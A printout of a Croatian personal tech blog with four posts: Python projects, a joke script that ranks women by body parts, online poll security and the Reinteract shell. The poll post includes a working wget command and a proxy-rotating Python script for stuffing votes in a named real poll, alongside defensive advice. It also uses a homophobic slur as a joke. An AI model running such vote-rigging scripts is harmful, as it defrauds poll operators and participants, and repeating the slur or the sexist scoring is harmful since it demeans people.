Published on Acin binarni site (http://www.binarni.net)

Nov

22

Nakupina bitova znana kao "Pornodrom" [1]

Sat, 11/22/2008 - 21:20 | Add new comment [2]

Jedna od zadnjih epizoda "30 Rock [3]"-a me podsjeti na nešto što sam radio u ona davna vremena dok sam još imao živaca kodirati 24 sata u komadu. Ne vjerujem ali možda se ipak potrudim i pokušam osposobiti prastaru 386-icu da na njoj pronađem sve te zaboravljene bitova.

Kao velik broj mojih projekata i ovome je na kraju trebalo onih zadnjih 20% ne bi li se finalizirao. Ono što ga ipak razlikuje od ostalih je što sam na ovome prestao raditi jer se projekat u jednom trenutku transformirao u nešto drugo. Vjerovali ili ne ali Pornodrom kao gnutella [4] based server za razmjenu pornjave (sa web front i back endom) se transformirao u ništa drugo doli web kolaboracijski alat za web publishing pod nazivom TamTam. Znam, znam.. TamTam nisam napisao ja već Guru® Neno. Svi mladi haktivisti kiber festivala od Baltika pa do Crnog mora to odavno znaju... Ah, ah.. ali ajmo taj dio priče za sad ostaviti za neki drugi post.

Pretpostavljam da ne treba spominjati da je samo ime "Pornodrom" referenca na Cronenbergov film "Videodrome [5]"?! Uglavnom, Gnutella [6] se tek pojavila i bilo je očito da se radi o nečem vrućem. Postojeći clienti nisu zadovoljavali moje potrebe i osjetio sam potrebu da sebi kao konzumentu olakšam upotrebu cijele te mreže. Koji bolji razlog za pisanje softwarea nego izrada nečega što koristim svakodnevno. Tko će mi bolje napisati software nego ja sam?! Tko zna bolje moje potrebe od mene samoga ?!

Pisati svoj pear-to-peer [7] nema smisla i zato je cijeli sustav bio zamišljen kao nadogradnja nad arhitekturom već postojećeg i raširenog protokola. Nadogradnja u smislu metapodataka za same sadržaje koji se razmjenjuju, naprednijeg pretraživanja, mogućnosti previewa (slike i videa), lakšeg pregleda sadržaja koji drugi ljudi shareaju, komunikacija s ljudima, "agenti" koji pamte preference i konstantno pretražuju mrežu u potrazi za zanimljivim sadržajem itd. Da..da.. dosta toga su imale svakojake mreže i clienti koji su se pojavili poslije, ali u tom trenutku oni nisu bili na tržištu. Uglavno, ta "nadogradnja" je značila da se Pornodrom ponaša kao tipičan Gnutella node koji je bio u stanju slati neke dodatne sadržaje koje su neki napredniji clienti znali interpretirati. Onima koji nisu ti dodatni sadržaji nisu smetali i normalno su komunicirali sa Pornodromom.

Meni je osobno killer dio cijele priče bila mogućnost pristupu serveru preko weba. Zašto? Pa zato što sam imao pristup unixoidnim serverima koji su na brzim Carnetovim linkovima. Pornodrom na njima visi 24/7 te skuplja i sharea s drugima podatke koji se arhiviraju na njemu. U određenom trenutku spojim se preko ultra spore modemske veze na jedan od tih nodova te u browse modu (nešto kao web image gallery sa thumbnailovima) pregledam raspoloživ sadržaj i obrišem nepotrebno. Možda zvuči smješno ali skidati 300Kb sliku preko modema (ili ne do bog gnutelle) da bih rekao "ahhhh...." mi nije bila neka velika sreća. Bolje je pogledati mali animirani GIF-ić koji barem otprilike dočarava što se dešava u videu pa se tek onda odlučiti na download od par desetaka minuta ili sati. Anywho, ako ustreba jedan rcp i fileovi su nakon dosta vremena lokalno na disku.

Sramim se i priznati ali eto, napravio sam cijeli "application server" sa svojim gnutella bibliotekama za sve to. U pozadini python, ZODB kao objektna baza podataka i neki moj template (je*eš python programera koji nije napravio svoj template engine) engine u pozadini. Nikad ja nisam ništa napisao ako mu nisam prvo dao ime. Ovo čudo se zvalo "Thunder" i imalo je čak male munjice za logo. Uglavno, različiti aplikacije unutar Thundera koje međusobno komuniciraju. Web sučelje sa public dijelom kojem pristupaju drugi korisnici (za browse i skidanje sadržaja) te posebno administrativni dio za managiranje Pornodroma i gnutella servera.

U jednom trenutku cijela ta ideja i arhitektura se samo transferirala u nešto drugo i negdje po putu izgubila gnutella server i moje autorstvo :) Čudni su putovi bitova.... čudni.... sad ga imaš a sad ga nemaš ali uvijek dobiješ neko smeće od BLOB-a za kraj.

Tags:
  • python [8]
  • [9]

Oct

17

Kako Aco bira prijatelje [10]

Fri, 10/17/2008 - 12:51 | 1 comment [11]

Na oglas o novim prijateljima je bilo različitih reakcija. Od uvrijeđenih poznanika do ideja da je moj stan javna igraonica. U svakom slučaju, kao i svaki majstor i ja volim iskoristiti alate koje svakodnevno koristim da mi olakšaju život. Stvar je dosta modularna tako da se može lako proširivati sa novim Acinim uslovima. Podrška za Profile (Aco je veseo, Aco je depresivan, Snjeg pada vani i Aci je milo) bi svakako dobro došla.

Kroz ovaj priority queue prođu svi.


from heapq import heappush, heappop
import datetime

DOBRO, VALJA, JEBENO  = 0, 1, 2
NECE, HOCE = False, True
MUSKO, ZENSKO = False, True

ACINE_GODINE  = datetime.date.today().year-1976
FAKTOR_GODINA = -20

acin_um = {"vrckast":  lambda val: -2,
           "stan":     lambda val: val == True and -10 or 1,
           "auto":     lambda val: val == True and -5 or 0,
           "star":     lambda val: round(abs(ACINE_GODINE-val)/100.0*FAKTOR_GODINA),
           "wii":      lambda val: val == True and -5 or 0,
           "udan":     lambda val: val == True and 10 or 0,
           "zauzet":   lambda val: 2,
           "spol":     lambda val: val == True and -10 or 0,
           "ima_maca": lambda val: 0,
           "sise":     lambda val: (-2,-5,-10)[val],
           "guza":     lambda val: (-2,-5,-10)[val]
           }

def create_prijatelj(name, **kw):
    return (reduce(lambda a, b: a+b, map(lambda opc: acin_um[opc](kw[opc]) , kw.keys())), name)

potencijalni = []

heappush(potencijalni, create_prijatelj("osoba jedan",
                                        sise    = JEBENO,
                                        guza    = VALJA,
                                        stan    = False,
                                        vrckast = True)
         )

# itd.. itd... itd..

heappush(potencijalni, create_prijatelj("osoba n",
                                        wii     = HOCE,
                                        udan    = True
                                        )
         )

print "* drum roll *"
print "Najbolji kandidat za acinog novog prijatelja je: ", heappop(potencijalni)[1]
 

Tags:
  • funny [12]
  • python [13]
  • [14]

Oct

4

Goran Zec protiv blogova osovine [15]

Sat, 10/04/2008 - 11:00 | Add new comment [16]

Ograda

Znači ovo je samo šala i ja znam da mi Goran neće ništa zamjeriti a za sourceove odskrolajte preko prvih par paragrafa...

Kako je sve počelo

Pojavio se novi super heroj u gradu i kako stvari trenutno stoje to nije "Aco Pretnja"! Postoji neka anketa http://www.galoviceva-jesen.com/blog.asp [17] za najbolji blog (što god). Veseli i razdragani kandidati latili su se svojih web 2.0 social siteova i počeli nagovarati svoje vjerne čitatelje da im podare koji glas. Sad tu stvari postaju malo zanimljivije. Kako je bilo i sa onim srednjoškolskim demonstracijama i ovaj put je facebook napravio sranje!

Kao što se na ovom screenshotu friendfeeda vidi Rusulica [18] je koristeći twitter svojim vjernim subscriberima poslala link gdje mogu za nju glasati. Oni naravno kreću sa klikanjem! Priznajem, i ja sam dao svoj glas. Vjerni sam čitatelj rusuličinih tekstova, subscriber videa na youtubeu i njenog emo streama na last.fm-u. Anywho, Goran kuži.... Goran nije od jučer i on je odmah pokušao u svojem Firefoxu isključiti kolačiće ne bi li podario koji glas više našoj Rusulici. To mu na kraju i uspjeva ali jedna mu stvar upada u oči. Glasovi za Srđana se povećavaju prevelikom brzinom!

Prosječna brzina klikanja

Goran je u tom biznisu dosta dugo i on zna da PBK (prosječna brzina klikanja) ne može biti ovako velika. Kao Power user Firefoxa (koji ima nekih 30-etak pluginova instaliranih na sistemu) on uzima iMacro i zadaje nizove komandi svojem Firefoxu da automatizira sam proces klikanja. Nabija Rusulici dodatnih 1300 bodova..... Ajmo Rusulica!

Izmjerimo mu glavu!

Tko je taj Srđan i kad je on postao osovina blogova (očigledno aludirajući na Bushove osovine zla)? Srki je "gel velike glave" koji honorari za 12 kuna u leglu NGO mafije. Bogu troši dane surfajući na desku, piše blog, chata na silnim IM-ovima, dopisuje se preko Facebooka. Isto kao i Rusulica pozvao je svoje frendove preko Facebooka da glasaju za njega.

A očeš ti glaaaasati za mene

Tu se sad dešava nekoliko stvari. Srki je dok se to sve počelo zahuktavati radio u m.a.m.i. Radio u m.a.m.i. koja je u tom trenutku bila prepuna "gelova" istih kao i on koji su došli na jedno od događanja na "Queer Zagreb" [19] koje se dešavalo u mami. Mnogi od njih poznaju Srkija i mnogi od njih su na njegov nagovor prošetali do kompa i kliknuli jednom za Srkija. Isto tako, Srki je svim svojim online (znači 100 najmanje) prijateljima rekao da glasaju za njega. Sigurno je otišao i na brojne dating siteove da proširi vijest o svojem nebeskom uspjehu sa glasanjem a ne bi se začudio ni da je iskoristio službeni telefon u mami da pozove sve svoje kontakte u adresaru i uputi ih na časni čin glasanja! Pravi aktivizam na djelu. Da se toliko trudio kad su Teu trebali glasovi za "Pravo na grad" ne bi sada bilo radova na cvjetnome.

Što učini!

Uvijek sam ja govorio da će nas pederi doći glave, ali me malo ljudi sluša. U svakom slučaju, Srkijevi discipliniraniji poznanici učinili su svoje. Nekome je taj mali skok u glasovima mogao značiti samo jednu stvar. Neko hakira! Postanje svoje gole ženske guzice na blog je dobar način da ti ljudi prate blog ali katkada i nedovoljan razlog da se toliko okupe oko neke online ankete.... Anywho, Goran je napuco 1300 glasova, onda su drugi koji su skužili njegovu nečasnu rabotu napucali ostalim isto toliko glasova a sad Goran u maniri drugog razreda srednje škole i dalje uvjeren u bjelosvjetsku blog zavjeru napucava Rusulici dodatne tisuće i tisuće glasova..... O Crni Gorane! ŠTO UČINI CRNI GORANE!

Što bi...

Kao netko tko je u svom životu radio ovakve sustave za procesiranje online anketa (i sličnih online stvari) moram priznati da je ovaj problem zaslužio da se o njemu malo kaže riječ dvije.

Recimo da se radi o nagradnoj igri i recimo da je jako bitno da se pokuša napraviti nagradna igra ili nekakvo glasanje što je moguće regularnije. Osloniti se samo na cookije nije dovoljno. Koji god ASP-eaš je radio ovu nagradnu igru koju je Goran unakazio učinio je katastrofalnu grešku. Ok, možda na Internet Exploreru treba klikati po nekim ne toliko dostupnim mjestima u opcijama pa za to ljudi i ne znaju ali isključiti podršku za cookije je brz način za glasanje u nedogled. Napisati kratku skriptu koja će to raditi za vas je još lakše.

Ako se proba napraviti ograničenje "jedan glas == jedan IP" dolazi se do problema "što sa ljudima iz npr. nekog cyber caffea". Što sa 3 člana obitelji koji bi preko lokalnog internet providera htjeli odvojeno glasati. U našem slučaju bi to značilo da Srki iz maminog cyber caffea (čitaj mjesta gdje honorari) može dobiti samo jedan glas. To definitivno nije dobro. Da sam ja radio
anketu na http://www.galoviceva-jesen.com/blog.asp [20] definitivno bih stavio ograničenje da sa jednog IP-a u određenog vremenskom intervalu može doći određen broj glasova. Znači: glaso si sad pa možeš opet za n minuta ali isto tako ne možeš sa tog IP-a baš da mi glasaš 100 puta u zadnjih m sati. S obzirom da sam i ja honorario u mamu taj mamin IP prema van i glasanje visoko pozicioniranih džabalabatora mi je ostalo u pamćenju :)

Naravno, to ovisi i od konkretne situacije. Ako je broj hitova na site 5 u sekundi i svi glasaju za istu stvar više je nego očigledno da netko fakea. Tako da se isplati ograničiti broj glasova za određeni item (sa svim IP-eva). Koliki? Ovisi od konkretne situacije.

Da ja sad moram napraviti neko glasanje osim svega ovoga stavio bih definitivno i jedan Captcha [21]. To definitivno otjera away jeftine pokušaje fakeanja ali na žalost ne štiti ništa od "ako ti je stvarno stalo daš $50 dolara indijcima i oni klikću cijeli dan".

A kako bih ovo

Da sam se želio baviti ovom rabotom i ovom konkretnom anketom radio bih to ovako. Ovo nije ništa komplicirano i ne zahtjeva neko prčkanje sa Firebugom pa bih zato samo otišao na stranicu i pogledao source. Fino kaže da radi POST methodu na url /anketa/default.asp?act=1&pid=4. Radi se neka nebitna validacija na onSubmit. Postoje tri "radio buttona" koji se zove answer. Moguće vrijednosti su "11", "12", "13". Pogrešno je stavljeno da su svi "checked" što znači u ovom slučaju da je Rusuličin blog automatski selektiran kao defaultni. Pa ako radite svoje ankete pazite da ne radite ovakve greške.


<form [22] name="frmpoll" id="frmpoll" method="post" action="/anketa/default.asp?act=1&pid=4" onsubmit="javascript: return PollVoteFormValidate();"><b> [23]Ocjenite najbolji blog</b><ul [24] id="answers" class="ulist"><li> [25]<input [26] name="answer" checked type="radio" value="11" />Garden of Arcane Delights</li><li> [27]<input [28] name="answer" checked type="radio" value="12" />Prodaja Ega-Hiperinflacija emocija by "Srdjan Sandic"</li><li> [29]<input [30] name="answer" checked type="radio" value="13" />Rusulica</li></ul><input [31] type="submit" class="button" title="glasaj" value="glasaj" /><br [32]/><a [33] href="/anketa/default.asp?pid=4">rezultati</a><br [34]/>glasalo je <strong> [35]10527</strong> osobaglasanje do: <b> [36]10.10.2008</b></form>
 

Ja nisam haker pa ne bih koristio neke pluginove već bi to zdravo seljački napisao npr. ovako:


wget --no-cookies --post-data 'answer=11' "http://www.galoviceva-jesen.com/anketa/default.asp?act=1&pid=4"
 

Gornja linija onom trećem blogu koji se ni kriv ni dužan našao ovdje napucava dodatne glasove. Stavite to u neku petlju, pokrenite na nekoliko različitih kompjutera u isto vrijeme i vojla!

Ok.. a sad, što bi bilo kad bi bilo da su ovi npr. kontrolirali da sa jednog IP-a može samo jedan glas ili da može samo n glasova u sat vremena....

Ima nekoliko načina kako se ovo može izvesti ali evo jedan brutalno banalan. Njegova velika prednost je što možete kontrolirati s kojih adresa ćete napadati. Jer ako se radi o glasanju za hrvatski blog godine lako se shvati da 1000 glasova iz Kazahstana pomalo smrdi.

Znači tajna je u anonimnim HTTP proxijima. Odite na google i skinite si neku od aktualnih listi proxija. Nekih 1000 recimo i skopirajte si u ovu skriptu.


import os, random
SERVERI = """218.249.12.133:8080       anonymous proxy Oct-03, 14:49   China
88.191.60.104:3128      anonymous       Oct-03, 14:46   France
... itd itd itd ..."""
LISTA = [x.split("\t")[0] for x in SERVERI.split("\n")]
n = 0
# daj 100 glasova nabij
while n < 100:
    # daj mi random proxy iz cijele liste
    proxy_server = random.choice(LISTA)
    # slozi wget komandu
    #  - postavi http proxy
    #  - neka snima output u /dev/null
    #  - neka timeouta nakon 10 sekundi
    #  - u slucaju timeouta ne pokusavaj ponovo
    #  - ne koristi cookije
    #  - postaj datea koji daje dodatni glas onom prvom
    #    bezveznom blogu
    wget_command = "http_proxy=\"%s\" wget -O /dev/null --timeout=10 --tries=1 --no-cookies --post-data 'answer=11' \"http://www.galoviceva-jesen.com/anketa/default.asp?act=1&pid=4\" " % proxy_server
    result = os.system(wget_command)
    # brisi sa liste poznatih proxy servera
    # ako je timeoutao
    if result != 0:
        LISTA.remove(proxy_server)
        print "Removing ", proxy_server, " from the list."
    else:
        n += 1
 

Ne može biti jednostavnije. Ono što se isplati napraviti je npr. pobacati listu ovih proxya u neku sqlite bazu. Jer sad nakon svakog pokretanja on pokušava
sve http proxy-e iz početka. Staviti u bazi, staviti potencijalnu pauzu između svakog slanja, staviti da jedan proxy može koristi svakih n minuta, staviti da različiti procesi mogu (znači pokreneš 100 puta) pristupati tim podacima i eto ti silnih glasova iz svih država naše lijepe Europe.

Jedna od stvari na koju treba obratiti pažnju je nešto što se zove concurrency iliti istodobnost. Vašoj online aplikaciji (recimo glasanje) može u isto vrijeme pristupiti nekoliko korisnika. Ono što treba obratiti pažnju je na sve te resource koji se međusobno shareaju među različitim sessionima. Normalno to i nije veliki problem jer site ima 5 hitova na dan pa se to i ne primjeti ali kad stavite beskonačnu petlju i 5 procesa koji napadaju site u isto vrijeme ako je neki džabalabator pisao skripte (jer skripte se danas copy pasteaju sa weba i tutoriala, to svi znaju) mogli bi njegov mili uradak staviti na muke.

Kao što se vidi na slici, zamislite da u isto vrijeme dvije osobe dođu na web stranice i da glasaju. Skripta za glasanje uzima broj dosadašnjih glasova. Uvećava ga za jedan i sprema u bazu novu vrijednost. Na gornjoj slici vrijednost u bazi bi na kraju trebala biti 7 ali bit će 6. Problemi sa resoursima koji se dijele se pokazuju u zavisnosti od konkretne situacije ali kod web aplikacija to su obično rad s i samim podacima u bazi podataka ili u datotekama na datotečnom sustavu. U našem slučaju se upiše kriva vrijednost ali ono što se isto vrlo lako može desiti su svakojaki exceptioni kod pristupa već otvorenim ili zalokanim resourcima. Pa vi dajte malo vašoj skripti timeouta ne bi li skriptice sa druge strane dobile malo vremena da dišu....

Eto... toliko od Ace Pretnje.

Tags:
  • funny [37]
  • html [38]
  • python [39]
  • [40]

Nov

11

"Reinteract" - sistem za interaktivno eksperimentiranje [41]

Mon, 11/12/2007 - 03:38 | Add new comment [42]

Reinteract [43] je najnoviji igrač na sceni Python shellova (uz IPython [44], hotwire-shell [45] i možda još pokoji).



Bilo je samo pitanje vremena kad će netko ponovo otkriti stare ideje i razveseliti gomile python freakova. Cijela stvar je bazirana na GTK bindingsima za python i u principu omogućuje da (kao što se vidi i na gornjoj slici) embedate GTK widgete u Reinteract shell. Istina, gornji primjer embedanja TreeView-a sa listom fileova i nije baš nešto što će čovjeka potaknuti da kaže "wooooooowwww" ali treba uzeti u obzir da je ovo poprilično svjež projekat (danas izašao ako se ne varam). Zato, odite na site, skinite source i napišite nove maštovitije widgete. Meni iskreno rečeno pada par na pamet.

Naravno, Reinteract je dosta dobar i zbog toga što vam omogućuje da se vratite na prijašnje komande, modificirate ih i automatski refreshate operacije koje su se desile nakon. Kratko se igrajući sa cijelim sustavom meni se učinilo dosta korisno i to što možete unositi nekoliko linija python codea i onda ih sve evaulirati odjednom. Obojani kvadratići na početku linije vam omogućuju da raspoznate evaulirani code, code sa greškom te code koji se još nije evaulirao.

Uspio sam uhvatiti tek nekoliko minuta da se poigram s njim (što će reći da nisam ni stigao da pogledam kako sve to izgleda iznutra i da sam više potrošio vremena na pisanje ovog posta nego na samo igranje sa Reinteractom) ali nadam se da me cijela stvar u budućnosti neće previše razočarati te ćete na www.binarni.net [46] moći pronaći neka moja proširenja istoga.

Tags:
  • gtk [47]
  • python [48]
  • shell [49]
  • [50]
Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 2.5 Croatia License.

Source URL: http://www.binarni.net/node/

Links:
[1] http://www.binarni.net/content/nakupina-bitova-znana-kao-pornodrom
[2] http://www.binarni.net/comment/reply/1648%2523comment-form
[3] http://en.wikipedia.org/wiki/30_Rock
[4] http://en.wikipedia.org/wiki/Gnutella
[5] http://en.wikipedia.org/wiki/Videodrome
[6] http://en.wikipedia.org/wiki/Gnutella
[7] http://www.binarni.net/content/od-kruške-do-kruške
[8] http://www.binarni.net/taxonomy/term/13
[9] http://www.binarni.net/print
[10] http://www.binarni.net/content/kako-aco-bira-prijatelje
[11] http://www.binarni.net/content/kako-aco-bira-prijatelje%2523commentblock
[12] http://www.binarni.net/category/tags/funny
[13] http://www.binarni.net/taxonomy/term/13
[14] http://www.binarni.net/print
[15] http://www.binarni.net/content/goran-zec-protiv-blogova-osovine
[16] http://www.binarni.net/comment/reply/1632%2523comment-form
[17] http://www.galoviceva-jesen.com/blog.asp
[18] http://www.rusulica.com/
[19] http://www.queerzagreb.org/
[20] http://www.galoviceva-jesen.com/blog.asp
[21] http://en.wikipedia.org/wiki/Captcha
[22] http://december.com/html/4/element/form.html
[23] http://december.com/html/4/element/b.html
[24] http://december.com/html/4/element/ul.html
[25] http://december.com/html/4/element/li.html
[26] http://december.com/html/4/element/input.html
[27] http://december.com/html/4/element/li.html
[28] http://december.com/html/4/element/input.html
[29] http://december.com/html/4/element/li.html
[30] http://december.com/html/4/element/input.html
[31] http://december.com/html/4/element/input.html
[32] http://december.com/html/4/element/br.html
[33] http://december.com/html/4/element/a.html
[34] http://december.com/html/4/element/br.html
[35] http://december.com/html/4/element/strong.html
[36] http://december.com/html/4/element/b.html
[37] http://www.binarni.net/category/tags/funny
[38] http://www.binarni.net/category/tags/html
[39] http://www.binarni.net/taxonomy/term/13
[40] http://www.binarni.net/print
[41] http://www.binarni.net/content/reinteract-sistem-za-interaktivno-eksperimentiranje
[42] http://www.binarni.net/comment/reply/1410%2523comment-form
[43] http://fishsoup.net/software/reinteract/
[44] http://ipython.scipy.org/moin/
[45] http://code.google.com/p/hotwire-shell/
[46] http://www.binarni.net
[47] http://www.binarni.net/category/tags/gtk
[48] http://www.binarni.net/taxonomy/term/13
[49] http://www.binarni.net/category/tags/shell
[50] http://www.binarni.net/print